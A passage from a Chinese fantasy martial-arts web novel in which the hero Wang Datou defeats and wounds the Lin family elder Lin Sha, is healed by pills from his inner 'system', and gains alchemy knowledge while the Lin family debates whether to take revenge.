他猛地转头,看向场中,脸上因失血而导致的苍白都被激动的潮红所覆盖,声音带着难以置信的颤抖:“猛……猛子!看到了吗?大头哥他……他赢了!他把那老怪物打伤了!”
李雅更是浑身一软,几乎要瘫倒在地,连忙用手死死撑住墙壁。
她之前已近乎绝望,泪水模糊了视线,此刻看着那个虽然遍体鳞伤、却依旧挺直脊梁的身影,巨大的喜悦和如释重负感冲击着她的心房,让她忍不住再次落泪,但这一次,是喜极而泣。
她捂着嘴,不让自己哭出声,但那不断颤抖的双肩暴露了她内心的激动。
就连一直沉稳如山、仿佛天塌不惊的赵师傅,此刻也忍不住微微动容。
他握着蟠龙拐杖的手紧了又紧,指节有些发白,浑浊的老眼中爆射出惊人的神采,低声喃喃:“好小子……好一道护身剑气!凝虚化实,破法诛邪……竟比老夫预想的还要……了得!这份隐忍,这份决断,这份置之死地而后生的魄力……龙门有幸!有幸啊!”
战场中间,王大头在一指激发【护身剑气】后,仿佛真的被抽走了所有的精气神。
脸色苍白得没有一丝血色,比地上的霜雪还要惨淡。
身体剧烈地摇晃了一下,最终再也支撑不住,单膝重重跪倒在地,只能用一只手勉强撑住地面,才没有彻底趴下。
“咳咳……噗——”
他剧烈地咳嗽着,又吐出一小口带着冰碴的黑血。
右胸的血洞因为刚才的强行运力,流血更多了,将身前的衣襟彻底染成暗红。
左肩那五道深可见骨的爪痕也狰狞外翻,看起来凄惨无比。
他伤得极重,玄冥指力造成的内部损伤和煞气侵蚀,正在不断吞噬他的生机。
内力更是近乎枯竭,一阵阵强烈的虚弱和眩晕不断袭来,眼前阵阵发黑。
但他依旧强撑着,抬起了头。
汗水混着血水从他额角滑落,滴入尘土。
他的眼神却如同被雨水洗过的寒星,冰冷、锐利,带着胜利者的审视,穿透两人之间不足十丈的距离,牢牢锁定在气息萎靡、狼狈不堪的林煞身上。
他嘴角艰难地,一点一点地,扯出一抹冰冷而讥诮的弧度,声音沙哑得如同破旧风箱,却清晰地传入林煞以及在场每一个人的耳中:
“林长老……看来,你林家这所谓的审判……失败了。今天要埋骨于此的……恐怕……未必是我王大头。”
这句话,像是一把烧红的**,狠狠地捅进了林煞的心窝!
“小……小杂种!!你……你找死!!!”
林煞气得浑身发抖,花白的头发几乎根根竖起,牵动了左肩那可怖的伤口,顿时又是一阵撕心裂肺的剧痛,让他眼前发黑,喉头一甜,差点再喷出一口血来。
他死死地盯着王大头,那眼神中的怨毒和杀意,几乎凝成了实质,恨不得用目光将王大头千刀万剐,生吞活剥!
他林煞,林家太上长老,成名近百年的化劲宗师,何时受过如此奇耻大辱?!
而且是在大庭广众之下,被一个他视若蝼蚁的小辈重创、嘲讽!
滔天的恨意在他胸中翻涌,几乎要冲垮他的理智。
但是,残存的理智和肩上那不断传来刺痛、阻碍内力运行的剑气伤口,在疯狂地提醒他——不能再停留!
左肩的伤势极其严重,不仅废了他一臂,更动摇了他的内力根基,此刻他的实力,恐怕只剩下全盛时期的三四成!
而对面那个小子,虽然看起来摇摇欲坠,但谁能保证他不能再发出第二道剑气?
哪怕只有第一道一半的威力,也足以在此时要了他的老命!
更何况,旁边还有一个一直虎视眈眈、气息深沉不弱于他全盛时期多少的赵老头!
以及那些虽然受伤但仍有战力的龙门骨干!
一旦被缠住……他林煞今天,恐怕真要把这把老骨头丢在这污秽之地了!
他不能死!他还要留着有用之身,突破更高境界,享尽荣华!
他还要亲眼看着龙门覆灭,将这小杂种抽魂炼魄!
惜命之心,终究压倒了一切。
“好!好!好一个王大头!好一个龙门!”
林煞连说三个“好”字,每一个字都像是从牙缝里挤出来,浸透了刻骨的仇恨和无边的憋屈,声音嘶哑如同夜枭啼哭,“今日断臂之仇,毁基之恨!老夫林煞,对天发誓!他日必亲率林家子弟,踏平你龙门!将你等……**万段!鸡犬不留!!”
他强提一口本命元气,强行压下肩头肆虐的剑气和体内翻腾的气血,那张老脸因痛苦和愤怒而扭曲得如同恶鬼。
他怨毒无比地扫了一眼王大头,仿佛要将他的模样刻进灵魂深处,随即又如同毒蛇般的目光扫过张猛、雷烈、李雅,以及后方那些逐渐从震惊中回过神来的龙门弟子,每一个被他目光扫过的人,都感到一股寒意从脚底
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直窜天灵盖。
“我们走!”
最后这三个字,他几乎是咆哮而出,带着无尽的耻辱和不甘。
话音未落,他不再有丝毫迟疑,身形猛地一晃,化作一道扭曲的、不再稳定的灰影,甚至无法维持化劲宗师踏空而行的潇洒,如同丧家之犬,狼狈万分地朝着滨海市外的方向疾掠而去。
速度虽依旧很快,但那踉跄的姿态,以及沿途洒落的点点血珠,都清晰地表明了他此刻的虚弱与仓皇。
几个起落之间,那道灰影便消失在街道的尽头,只留下地上一串夹杂着冰霜和刺目血迹的脚印,以及空气中尚未完全散去的血腥与煞气,诉说着刚才那一战的惨烈。
他走了。
带着比上一次更重的伤势,更深的耻辱,在林家老祖林天昊下达最后通牒的三日期满之日,这位前来执行“审判”的林家煞长老,再一次,败退而走!
寂静。
依旧是短暂的寂静。
直到林煞的气息彻底消失在感知范围之外,直到那耻辱的血脚印映入眼帘,所有人才仿佛被解开了穴道,从极致的震撼中缓缓回过神来。
“走……走了?那老怪物……真的跑了?”
“我们……守住了?龙门……保住了?”
“是龙头!是龙头打赢了!他重伤了林煞!”
窃窃私语声如同潮水般响起,充满了不确定、激动,以及劫后余生的狂喜。
下一刻——
“赢了!!!我们赢了!!!”
张猛第一个爆发出惊天动地的狂吼,他猛地跳了起来,不顾身上同样带着伤,挥舞着那双钵盂大的拳头,仰天咆哮,声震四野:“龙门万岁!大头哥万岁!!”
他激动得狠狠一巴掌拍在雷烈没受伤的那边肩膀上,拍得雷烈一个趔趄,但雷烈也是满脸涨红,跟着放声大笑,笑着笑着,这个铁塔般的汉子,眼角却渗出了浑浊的泪水,那是喜悦,是激动,更是对兄弟创造奇迹的骄傲与感动。
“赢了!我们赢了!”
“龙门万岁!”
“龙头万岁!万岁!”
山呼海啸般的欢呼声、呐喊声,如同压抑了千万年的火山,轰然爆发!所有的恐惧、所有的压抑、所有的绝望,在这一刻尽数化为滚烫的激情和泪水,从每一个龙门子弟的心中喷涌而出!
许多人相拥而泣,许多人奋力将手中的兵器抛向天空,整个龙门总部前方,瞬间化作一片欢腾的海洋!
李雅再也顾不得矜持,泪水决堤般涌出,她提着裙摆,不顾一切地冲向场中那个单膝跪地的身影。
她的心中充满了无边的骄傲和失而复得的庆幸。
第76章:惨胜!龙门的意志
赵师傅长长地、长长地舒出了一口憋在心中许久的浊气,一直紧绷的脸庞终于松弛下来,露出了一丝欣慰乃至震撼的笑容,他看着被众人目光聚焦的王大头,低声重复道:“好小子……真是……每次都能给人惊喜啊……”
然而,就在这片震耳欲聋的欢呼声中,就在李雅即将冲到他身边的那一刻,王大头强撑着的最后一丝意志,终于被潮水般涌来的黑暗和虚弱彻底吞噬。
他只觉得天旋地转,耳边的欢呼声变得遥远而模糊,眼前的一切迅速被黑暗笼罩。
支撑身体的手臂一软,那具承载了太多伤痛和重负的身躯,缓缓地、无力地向前倒去。
“大头!”
“龙头!”
李雅的惊呼和张猛、雷烈等人的骇然呼喊,瞬间压过了欢呼声。
所有的喜悦在这一刻凝固,转化为新的担忧。
龙门虽然赢得了这场惨烈的胜利,守住了根基,但他们的龙头,却付出了沉重的代价。
而所有人都明白,打退了林煞,绝非结束。
以林家的睚眦必报和霸道行事风格,随之而来的,必将是更加疯狂、更加酷烈的滔天报复!
更大的风暴,正在远方汇聚,酝酿着毁灭的雷霆。
林煞败退时洒落的血迹尚未干涸,空气中弥漫的血腥与煞气也未完全散去,但龙门总部前的氛围,已从死寂的绝望转向了一种劫后余生的、带着悲壮的沸腾。
“大头!”
“龙头!”
李雅的惊呼与张猛、雷烈的怒吼几乎同时响起。
距离最近的李雅,一身素白衣裙已沾染了不少尘土与溅落的血点,她不顾一切地第一个冲到了王大头身边。
看着他胸前那狰狞的血洞,看着他苍白如纸、气若游丝的脸庞,她的心如同被一只无形的手紧紧攥住,疼得几乎无法呼吸。
她颤抖着伸出手,却不敢轻易触碰他那些恐怖的伤口,生怕带来二次伤害,只能小心翼翼地扶住他无力倒下的肩膀,让他的头枕在自己的臂弯里。泪水如同断线的珍珠,不断滴落在他染血的衣襟上。
“大夫!快叫大夫!!”
张猛如同一头发狂的雄狮,双目赤红,朝着后方嘶吼。
他本想冲过去,但自己身上也带着不轻的内伤,刚迈出两步,便是一个踉跄,幸好被身旁勉强站立的雷烈一把扶住。
“猛子!你冷静点!赵师傅过去了!”
雷烈声音沙哑,他强忍着背部和内腑传来的剧痛,死死拉住张猛。
他的目光同样紧紧盯着场中间,那铁塔般的身躯因紧张而微微绷紧。
就在一片混乱之际,一道沉稳的身影已先于众人来到了王大头身边。正是赵师傅。
赵师傅手持那根看似普通的蟠龙拐杖,步伐看似不快,却瞬息即至。
他蹲下身,伸出枯瘦但异常稳定的手指,先是快速在王大头脖颈侧探了探,感受那微弱但依旧顽强的脉搏,眉头微微舒展一分。随即,他并指如风,迅速点向王大头胸口几处大穴,内力吞吐,柔和却坚定地暂时封住了伤口周围的主要血脉,减缓鲜血流失的速度。
他的动作娴熟老练,带着一种历经沧桑的沉稳。
“丫头,别慌。”
赵师傅抬头,看了一眼泪眼婆娑、六神无主的李雅,声音平和却带着一种让人安心的力量,“这小子命硬得很,煞气虽烈,却未能瞬间绝其生机。他体内似乎有一股奇异的生机在吊着,暂时无性命之虞。”
他的话如同定海神针,让附近骚动的人群稍稍平静了一些。
李雅哽咽着,努力点头,用手背胡乱擦去眼泪,但看向王大头的眼神依旧充满了担忧。
赵师傅仔细查看着王大头右胸的指洞,那伤口周围的皮肉呈现出一种诡异的青黑色,丝丝缕缕的阴寒煞气仍在试图侵蚀。
他又看了看王大头左肩那深可见骨的爪痕,以及其体内近乎枯竭的内力,浑浊的老眼中闪过一丝凝重,但更多的是一种激赏。
“内力耗尽,经脉受损,煞气侵体,外加多处外伤……换做寻常化劲,此刻早已灯枯油尽。”
赵师傅缓缓站起身,目光扫过围拢过来的张猛、雷烈等龙门核心,声音提高,清晰地传遍全场:
“但他撑住了!不仅撑住了,更在绝境之中,以弱胜强,重创林家太上长老林煞!此战,龙门,胜了!”
最后三个字,他灌注了内力,如同洪钟大吕,响彻在每一个龙门弟子的耳边。
短暂的寂静之后——
“胜了!我们胜了!”
“龙门万岁!”
“龙头万岁!”
比之前更加狂热、更加真挚的欢呼声如同海啸般爆发开来!
许多弟子激动得满脸通红,挥舞着拳头,甚至与身旁的同伴紧紧拥抱!
一些人看着满地狼藉,看着自己或同伴身上的伤痕,再看向场中被李雅扶着、昏迷不醒却如丰碑般的王大头,忍不住热泪盈眶。
这是惨胜!是用鲜血和意志换来的胜利!
张猛猛地挣脱雷烈的搀扶,尽管身形摇晃,却依旧挺直了腰板,他环视周围激动的人群,用他那粗犷的嗓音吼道:“都看到了吗?!这就是咱们龙门!这就是咱们的龙头!化劲宗师又如何?林家老狗又如何?想啃下我们,就得做好崩掉满嘴牙的准备!”
“对!崩掉他们的牙!”
“龙门不可辱!”
群情激昂,士气在这一刻达到了前所未有的顶点。
之前笼罩在众人心头的,对林家的恐惧阴霾,被王大头这拼死换来的一剑,彻底斩开了一道巨大的缺口!
一种名为“信念”
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和“凝聚力”的东西,在每一个龙门子弟心中疯狂滋生。
雷烈看着激动的人群,又看向被众人守护在中间的王大头,这个硬汉的眼角再次湿润。
他喃喃道:“值了……跟着这样的龙头,就算今天把命搭上,也**值了!”
赵师傅将众人的反应尽收眼底,微微颔首。
他走到张猛和雷烈身边,沉声道:“猛子,雷子,你二人也伤得不轻,立刻安排可信之人,清理战场,救治伤员,加强警戒!林家败退,但难保没有其他宵小趁火**。大头需要立刻进行深度疗伤,此地不宜久留。”
张猛和雷烈神色一凛,立刻抱拳:“是!赵师傅!”
他们强打精神,开始指挥若定。
龙门这台战争机器,在经历了极限的压迫后,非但没有散架,反而在胜利的鼓舞和核心层的带领下,高效地运转起来。
弟子们自发地开始救助同伴,收敛不幸战死者的遗体,清理战斗痕迹,每个人的脸上虽然带着悲戚和疲惫,但眼神却格外明亮和坚定。
赵师傅重新蹲下,对李雅柔声道:“丫头,帮我一起,把他扶到我静修的内室去。”
李雅连忙点头,与赵师傅一左一右,小心地将王大头架起。
王大头浑身软绵无力,头颅低垂,唯有那微弱的呼吸证明着他顽强的生命力。
在无数道崇敬、感激、担忧的目光注视下,赵师傅和李雅扶着王大头,缓缓走向龙门总部深处。
行走间,赵师傅目光扫过广场上那一道道虽然带伤却依旧挺立的身影,听着那虽然疲惫却充满力量的呼喝声,他苍老的脸上露出一丝复杂的感慨,低声自语,声音轻得只有旁边的李雅能隐约听见:
“经此一役,雏鹰折翼而不堕,浴血淬骨……此战之后,华夏古武界,当有龙门一席之地了!”
李雅闻言,娇躯微微一震,看向臂弯中昏迷的王大头,眼神中除了柔情,更添了几分难以言喻的骄傲。
她知道,赵师傅这句话,绝非虚言。
今日龙门流出的血与汗,必将铸就明日响彻华夏的威名!
龙门总部深处,一间僻静的内室。
这里陈设简单,一床,一桌,一凳,四壁空空,唯有空气中弥漫着淡淡的檀香和草药混合的气息,显示出此地主人的不凡。
王大头被平放在铺着干净棉褥的床榻上,依旧昏迷不醒。
他的脸色不再是苍白,而是隐隐泛着一层不祥的青黑之气,那是玄冥煞气深入脏腑的迹象。
右胸的伤口虽被赵师傅暂时封住,但边缘皮肉的青黑色仍在缓慢扩散,丝丝寒气从中渗出。左肩的爪痕也同样透着阴寒。
李雅守在床边,用湿毛巾小心翼翼地擦拭着王大头脸上、颈间的血污和冷汗,美眸中满是心疼与焦虑。
第77章:战后疗伤,丹药之力
赵师傅坐在桌旁,手指搭在王大头的手腕上,一缕精纯温和的内力缓缓渡入,仔细探查着他体内的情况。越是探查,他的眉头皱得越紧。
“情况比预想的还要麻烦些。”
赵师傅收回手,沉声道,“林煞的玄冥煞气极其阴毒霸道,已侵入他的心脉附近。大头自身内力耗尽,无法自行驱散。若任由煞气盘踞,即便能保住性命,根基也必受损,日后修为难有寸进,甚至可能落下病根,时常遭受寒毒噬心之苦。”
李雅闻言,脸色瞬间煞白,急道:“赵师傅,那……那怎么办?您一定要救救他!”
“寻常药物和内力疗伤,效果甚微,只能缓解,难以根除。”
赵师傅摇了摇头,眼中也带着一丝无奈。
他虽见识广博,修为高深,但对于这种涉及本源的特异煞气,也感到有些棘手。
就在室内气氛陷入凝重之际,昏迷中的王大头,意识却沉入了一片混沌。
他仿佛能“看”到自己体内的情况——经脉黯淡萎缩,如同干涸的河床,丹田空荡,唯有几缕微弱的内力气息如同游丝般飘荡。
而在心脉周围,一股幽蓝色的、充满阴寒与死寂气息的能量,如同跗骨之蛆,不断侵蚀着他的生机。
剧烈的痛苦和彻骨的冰寒从灵魂深处传来。
‘要结束了吗?好不容易……守住了龙门……’一股不甘的意念在混沌中挣扎。
就在这时,一道冰冷的、毫无感情波动的声音,直接在他意识深处响起:
【检测到宿主生命体征低于安全线,处于‘煞气侵蚀’、‘内力枯竭’、‘多重创伤’负面状态。】
【符合危机应对机制,自动检索系统库存可用资源……】
【检索完毕。推荐使用:【淬体灵液】(剩余:2份),【养神丹】(剩余:3粒)。】
是系统!
王大头精神猛地一振,如同在无尽黑暗中看到了一缕曙光。
【是否立即使用【淬体灵液】x1,【养神丹】x1?】
“是!立即使用!”王大头在意识中毫不犹豫地确认。
下一刻,一股温热精纯、蕴含着庞大生命能量的暖流,毫无征兆地自他丹田深处涌出,迅速流向四肢百骸!
这正是【淬体灵液】的力量!
它如同甘霖滋润干涸大地,开始滋养、修复他受损严重的经脉和肌肉,那温和却坚定的力量,甚至开始主动冲击、消融那些盘踞的幽蓝色煞气!
与此同时,另一股清凉舒泰、直透灵魂深处的能量涌入他的识海,如同母亲温柔的手,抚慰着他因过度消耗而刺痛、疲惫的精神意志。
【养神丹】的药效发作了!
外界,赵师傅和李雅同时察觉到了王大头身上的变化!
只见王大头身体表面,原本泛着的青黑之气,仿佛遇到了克星,开始剧烈地翻腾、波动,并以肉眼可见的速度变得淡薄!
他右胸伤口处,甚至开始渗出一点点带着腥臭味的黑血,那是被逼出的煞毒!
他的脸色,也从之前的青黑惨白,逐渐恢复了一丝血色。
虽然依旧虚弱,但那萦绕不散的死气,却明显地被一股蓬勃的生机所取代!
呼吸也变得平稳、有力了许多。
“这……这是?!”
赵师傅猛地站起身,脸上充满了难以置信的震惊。
他再次伸手搭上王大头的脉搏,只觉得之前那如同被寒冰冻结、滞涩无比的脉象,此刻竟然重新变得有力起来,虽然依旧虚弱,但那股顽强的生机做不得假!
而且,他清晰地感觉到,王大头体内正有一股奇异而精纯的能量在自动运行,修复伤体,驱散煞气!
“奇迹……真是奇迹!”
赵师傅喃喃道,看向王大头的目光充满了探究与不可思议,“他体内这股生机……绝非普通内力或药物所能及!这小子,身上的秘密比老夫想的还要多!”
李雅虽然不明白具体发生了什么,但看到王大头气色明显好转,连那可怕的伤口都开始排出毒血,顿时喜极而泣,紧紧握住了王大头的手,仿佛要将自己的生命力也传递过去。
药效仍在持续。
【淬体灵液】不仅驱散煞气,更在强化王大头的肉身,那些破损的经脉在修复后,似乎比之前更加坚韧宽阔了一些。
【养神丹】则让他的精神力在快速恢复,甚至隐隐有所增长。
时间一点点过去。
约莫一炷香后,王大头体内那肆虐的玄冥煞气已被驱散了七七八八,主要经脉修复了大半,虽然距离痊愈还早,但致命的威胁已然解除。
也就在这时,系统的提示音再次响起:
【危机状态解除。】
【检测到宿主成功越阶击败强敌(化劲中期·林煞),达成隐藏成就‘逆境伐上’!】
【奖励发放:【炼丹术入门】知识灌输!相关基础丹方(回气丹、金疮药、解毒散)已解锁!】
一股庞大而复杂的信息流瞬间涌入王大头的脑海,无数关于药材辨识、药性搭配、火候掌控、丹诀手印的知识如同烙印般刻入他的记忆深处。
虽然只是“入门”,但其涵盖的知识面之广,理解之深,远超当世绝大多数所谓的炼丹师!
昏迷中的王大头,嘴角无意识地勾起了一抹细微的弧度。
不知又过了多久,王大头的眼皮微微颤动了几下,终于艰难地睁开。
视线先是模糊,随即渐渐清晰。首先映入眼帘的,是李雅那张梨花带雨却满是惊喜的俏脸,以及旁边赵师傅那带着欣慰和探究目光的苍老面容。
“我……没死?”
他的声音干涩沙哑,喉咙如同着火。
“大头!你醒了!太好了!”
李雅惊喜地叫道,连忙端过旁边早已准备好的温水,小心地喂他喝下。
赵师傅抚须微笑:“你小子,命是真硬!不仅没死,体内的煞气竟也去了七七八八,真是……让人
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意想不到。”
王大头感受了一下体内的状况,虽然依旧空虚无力,多处疼痛,但那股阴寒蚀骨的感觉确实消失了,取而代之的是一种温暖的、正在缓慢修复的生机。
他知道,这是系统丹药的功劳。
“侥幸……而已。”
他虚弱地笑了笑,没有多解释。系统的存在,是他最大的秘密。
“感觉怎么样?”
赵师傅关切地问。
“很虚弱,内力几乎空了,身上到处都疼。”
王大头实话实说,“但……应该没有性命之忧了,根基也未损。”
赵师傅点头:“那就好!好好休养。外面的事情有猛子和雷烈他们处理,无需担心。”
王大头松了口气,随即想起一事,看向李雅,柔声道:“小雅,张猛和雷烈他们伤势如何?还有……其他弟兄们……”
李雅连忙道:“你放心,猛哥和雷哥虽然伤得不轻,但赵师傅已经帮他们稳定了伤势,没有大碍。其他受伤的弟兄们也都在救治。我们……我们虽然有人重伤,有人……牺牲了,但核心战力基本都保住了。”
王大头眼中闪过一丝悲痛,牺牲的每一位兄弟,都是龙门的基石,是他的责任。
他沉默片刻,郑重道:“厚葬牺牲的兄弟,抚恤家属,加倍!所有受伤的弟兄,用最好的药!”
“已经安排下去了。”李雅点头。
就在这时,王大头脑海中灵光一闪,刚刚获得的【炼丹术入门】知识浮现。
他想到那些受伤的弟兄,尤其是可能伤及根基或者留下暗伤的,寻常药物效果有限。
若是能炼制出系统中的丹药……
他看向赵师傅,看似随意地问道:“赵师傅,您老见识广博,可知晓如今世上,何处能寻到年份足够、品质上乘的野生药材?比如,百年以上的老山参,或者灵芝、何首乌之类?”
赵师傅闻言,眼中精光一闪,深深地看了王大头一眼,似乎猜到了什么,缓缓道:“这类药材,如今已是可遇不可求。大部分都被那些传承久远的古武世家或隐世门派所垄断。偶尔在一些偏远的深山老林,或者……某些特殊的‘秘境’、‘遗迹’之外,或许能有发现。怎么,你需要?”
王大头心中一动,“秘境”、“遗迹”?这些词汇让他对这个世界的神秘侧有了新的认知。
他不动声色地点点头:“这次受伤,让我感觉自身恢复力和基础很重要。若能寻到一些宝药,或许……能配置些方子,强健根基,也好应对林家接下来的报复。”
他没有直接说炼丹,而是用了“配置方子”这个更易理解的说法。
赵师傅若有所思,道:“此事需从长计议。当务之急,是你先养好伤。待你恢复,或许我们可以去一些地方碰碰运气。”
王大头点点头,不再多言。
他闭上眼睛,开始默默回忆【炼丹术入门】的知识,尤其是那几种基础丹方所需的药材。
第78章:林煞败退,林家震动
回气丹能快速恢复内力,金疮药对外伤有奇效,解毒散能解百毒……若是能炼制出来,龙门的整体实力和生存能力,将得到质的提升!
这一次惨胜,让他更加深刻地认识到实力和资源的重要性。
个人武力的强大固然重要,但一个势力的整体底蕴,同样不可或缺。
林家绝不会善罢甘休,下一次的风暴,只会更加猛烈。
他必须利用一切机会,尽快提升自己,壮大龙门!
而刚刚获得的【炼丹术】,无疑是一把打开新世界大门的钥匙。
林家祖宅,深处于一片占地极广的古典园林深处,飞檐斗拱,气象森严。
平日里,这里静谧得只能听到风吹竹叶、流水潺潺的声音,带着百年世家积淀下的雍容与威严。
然而今日,这份静谧被彻底打破。
“轰隆!”
一声巨响从宅院深处某间密室方向传来,伴随着的是一道如同受伤野兽般的、压抑到极点的怒吼!
那怒吼声中蕴含的磅礴怒气与杀意,让整个林家祖宅范围内的温度都仿佛骤降了几度,所有仆役、护卫都噤若寒蝉,连大气都不敢喘。
议事大厅内,气氛凝重得如同暴风雨前的死寂。
家主林耀祖端坐在主位之上,脸色阴沉得几乎能滴出水来,手指无意识地敲击着紫檀木椅的扶手,发出沉闷的“笃笃”声,每一声都敲在下方众人的心坎上。
下方,林家核心人物几乎齐聚。
有掌管家族生意、面容富态却眼神精明的长老;有负责对外交涉、气质阴柔的中年人;更有几位气息沉凝,太阳穴高高鼓起,显然是家族武力支柱的武道高手。
所有人的目光,都聚焦在大厅中间,那个单膝跪地、浑身血迹斑斑、左肩处一个恐怖窟窿依旧在隐隐渗血、气息萎靡到极点的身影上——正是狼狈逃回、伤势比上次更重的林煞!
“你……再说一遍?”
林耀祖的声音嘶哑,带着一种极力压抑却依旧控制不住的颤抖。他简直不敢相信自己的耳朵!
林煞头颅低垂,不敢与家主对视,耻辱和剧痛让他的身体微微发抖,声音干涩如同砂纸摩擦:“回家主……那……那小畜生王大头,不知用了何种秘法,在身中属下的玄冥指,煞气攻心的情况下,竟……竟突然激发出一道极其凌厉恐怖的剑气!属下……属下一时不察,被其……被其重伤……未能完成家主嘱托,请家主降罪!”
他将头埋得更低,几乎要触及地面。虽然极力将失败归咎于“一时不察”和对方的“诡异秘法”,但事实就是,他输了,输得一败涂地!
“一时不察?”
坐在林耀祖左下首的一位面容枯瘦、眼神锐利如秃鹫的老者猛地一拍桌子,红木桌面瞬间布满裂纹!
他是林家执法长老林魈,林煞的胞兄,性格最为暴戾。
“林煞!你身为化劲宗师,对付一个初入化劲的小辈,两次!两次都栽在同一个人手里,还都是被剑气所伤!你这‘一时不察’,未免也太久了点吧!简直丢尽了我林家的脸面!”
他话语如同鞭子,狠狠抽在林煞的心上。
林煞身体剧颤,却无法反驳,只能将无尽的怨毒和**死死压在心底。
“那道剑气,究竟有何特异之处?”
另一位掌管情报、戴着金丝眼镜,显得颇为儒雅的长老林文渊推了推眼镜,沉声问道。
他是林家智囊,更关注细节。
林煞回想起那道剑气临体时的感受,眼中依旧残留着一丝惊惧:“快!快到极致!而且……极其凝练锋锐,似乎……带有一种独特的破罡属性,属下的玄冥护体罡气在其面前,如同无物!更麻烦的是,剑气残留的力量极为难缠,在不断破坏伤口,阻碍愈合,甚至……有动摇内力根基的迹象!”
此言一出,大厅内顿时响起一片倒吸冷气的声音!
破罡属性?
动摇内力根基?
这已经超出了普通武学招式的范畴!
更像是某种失传的上古剑诀,或者……是某种威力巨大的法宝符箓所为?
可那王大头,明明是个毫无背景的泥腿子!
“此子……身上定有天大的秘密!”
林文渊眼中精光闪烁,“或许,他得到了某个古代武道宗派的完整传承?否则难以解释他修为提升如此之快,还有这等诡异强大的护身剑气!”
“不管他有什么秘密!”
林魈杀气腾腾地吼道,“接连伤我林家长老,践踏我林家威严,此子绝不能留!必须倾尽全力,以雷霆万钧之势,将其彻底碾死!否则,我林家还有何颜面在古武界立足?!”
“倾尽全力?”
一个掌管家族财政,体型富态的长老林富海皱了皱眉,慢悠悠地开口,“魈长老,说得轻巧。倾尽全力意味着什么?意味着我们要调动至少两位以上的化劲宗师,甚至可能惊动闭关的老祖!意味着要调动庞大的资金和人脉,去应对可能来自官方、以及其他敌对势力的压力!意味着我们将付出难以想象的代价!”
他顿了顿,环视众人,语气变得凝重:“而且,诸位别忘了,龙门并非只有王大头一人。那个一直没出手的赵老头,深浅不
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知。还有,上官家最近似乎和龙门有些不清不楚的接触……我们若倾巢而出,万一被人趁虚而入……”
“富海长老莫非是怕了?”
林魈冷笑,“区区一个暴发户龙门,就能让你畏首畏尾?”
“我不是怕!”
林富海胖脸一板,“我是在为家族利益考虑!剿灭龙门,我们能得到什么?一点药膳生意?一个可能存在的、但未必能拿到手的传承?而我们要付出的,可能是家族底蕴的损伤,是给其他虎视眈眈的对手机会!这笔账,划算吗?”
“颜面!林家的颜面是无价的!”林魈寸步不让。
“颜面不能当饭吃!生存和发展才是根本!”林富海反驳。
“够了!”
林耀祖猛地一声低喝,打断了两人的争吵。
他头痛地揉了揉太阳穴。
林魈代表的是家族中激进的主战派,讲究快意恩仇,以武力捍卫尊严;而林富海代表的则是保守的稳健派,更看重实际利益和家族长远发展。
两派说的都有道理。
继续打?
王大头展现出的潜力和诡异手段,让林耀祖心生忌惮。
这次是林煞重伤败退,下次呢?
难道真要老祖亲自出手,或者调动家族大部分高端力量?
那样代价太大,风险也太高。
而且,谁能保证那小子没有更厉害的底牌?
那道剑气,太过诡异。
不打?
林家颜面扫地,必将成为整个古武界的笑柄。
而且龙门正在快速发展,假以时日,必成心腹大患。
一时间,就连身为家主的林耀祖,也陷入了两难的境地。
剿灭龙门的代价,因为王大头这次惊人的反杀,被无限提高了。
“先将林煞长老带下去疗伤,不惜代价,务必治好他的伤势,清除那道剑气残留。”林耀祖挥了挥手,疲惫地说道。
两名护卫上前,小心翼翼地扶起重伤的林煞,退了下去。
大厅内再次陷入沉默,只剩下沉重的呼吸声和不同派系之间无声的眼神交锋。
林耀祖目光扫过众人,缓缓开口,声音带着一丝不易察觉的沙哑:“龙门之事,关系重大,需从长计议。在拿出一个万全之策前,所有针对龙门的明面行动,暂缓。”
“家主!”林魈急道。
“这是命令!”
林耀祖眼神一厉,属于家主的威严散发出来,压下了林魈的不满。
他何尝不想立刻碾死王大头,但作为家主,他必须为整个家族负责。
“文渊。”他看向智囊林文渊。
“在。”
第79章:休养生息,夯实根基
“动用一切资源,给我彻底查清王大头的底细!他祖上三代,他接触过的所有人,他可能获得奇遇的所有地点!我要知道他身上所有的秘密!尤其是那道剑气的来源!”
“明白。”
林文渊点头,眼中闪过一丝算计的光芒。
林耀祖又看向林富海:“富海长老,加强与各方势力的联系,尤其是官方那边,我们需要知道他们对龙门的态度底线。同时,密切关注上官家以及其他几个竞争对手的动向。”
“是,家主。”
安排完这些,林耀祖靠在椅背上,闭上双眼,掩饰住眼底深处的那一丝疲惫和……一丝连他自己都不愿承认的忌惮。
王大头……你到底是什么人?
林家内部就是否继续与龙门死斗,产生严重分歧。
激进派主张不惜代价复仇,稳健派则认为代价过高。
林耀祖最终决定暂缓明面行动,转为暗中调查,龙门赢得了宝贵的喘息之机。
与林家祖宅内的凝重压抑、暗流汹涌相比,此时的龙门总部,则洋溢着一种劫后余生、奋发向上的蓬勃朝气。
王大头虽然重伤,但在赵师傅的精心治疗,以及李雅不惜成本调用的珍贵药材滋养下,恢复速度惊人。
那侵入体内的玄冥煞气极为难缠,但王大头一甲子的纯阳内力本就对其有所克制,加上《星辰观想法》对自身内力的精微操控,花费了数日功夫,终于将其彻底驱除干净。
胸口的指洞和肩头的爪痕,也在内力和药物的双重作用下,开始结痂愈合。
这一次生死之战,虽然凶险,但也让他对自身力量的运用,对化劲层次的感悟更加深刻。
他甚至隐隐感觉,那层通往先天的屏障,似乎又薄弱了一丝。果然,生死间的磨砺,才是武者进步最快的阶梯。
伤势稍有好转,王大头便没有闲着。
他深知,林家暂时的退却绝不代表危机解除,反而可能是暴风雨前更可怕的宁静。
龙门必须利用这宝贵的和平时期,疯狂地提升实力!
一方面,他督促张猛和雷烈,加紧对战斗人员的训练。
将这次与林煞交战的一些心得体会,尤其是如何应对化劲领域压迫、如何寻找高手招式中的破绽等经验,融入日常的训练科目中。
龙门弟子的实战能力,在血与火的洗礼和科学系统的训练下,稳步提升。
另一方面,他将更多的精力,投入到了系统奖励的【炼丹术入门】上。
总部大楼地下,一间被改造成临时丹房的密室内。
这里通风良好,摆放着王大头让张猛想办法弄来的传统药罐、砂锅,以及一些现代的高精度电子秤、恒温加热设备等——这是他结合自身知识体系的“科学炼丹”尝试。
空气中弥漫着浓郁的药香,有些呛人。
李雅在一旁打着下手,看着王大头专注的侧脸,他额头上布满细密的汗珠,眼神紧紧盯着砂锅内翻滚的、呈现暗红色的粘稠药液。
他在尝试炼制的,并非什么灵丹妙药,而是根据【炼丹术入门】中一个最基础的“淬体药液”方子,简化再简化后得到的【强身丸】。
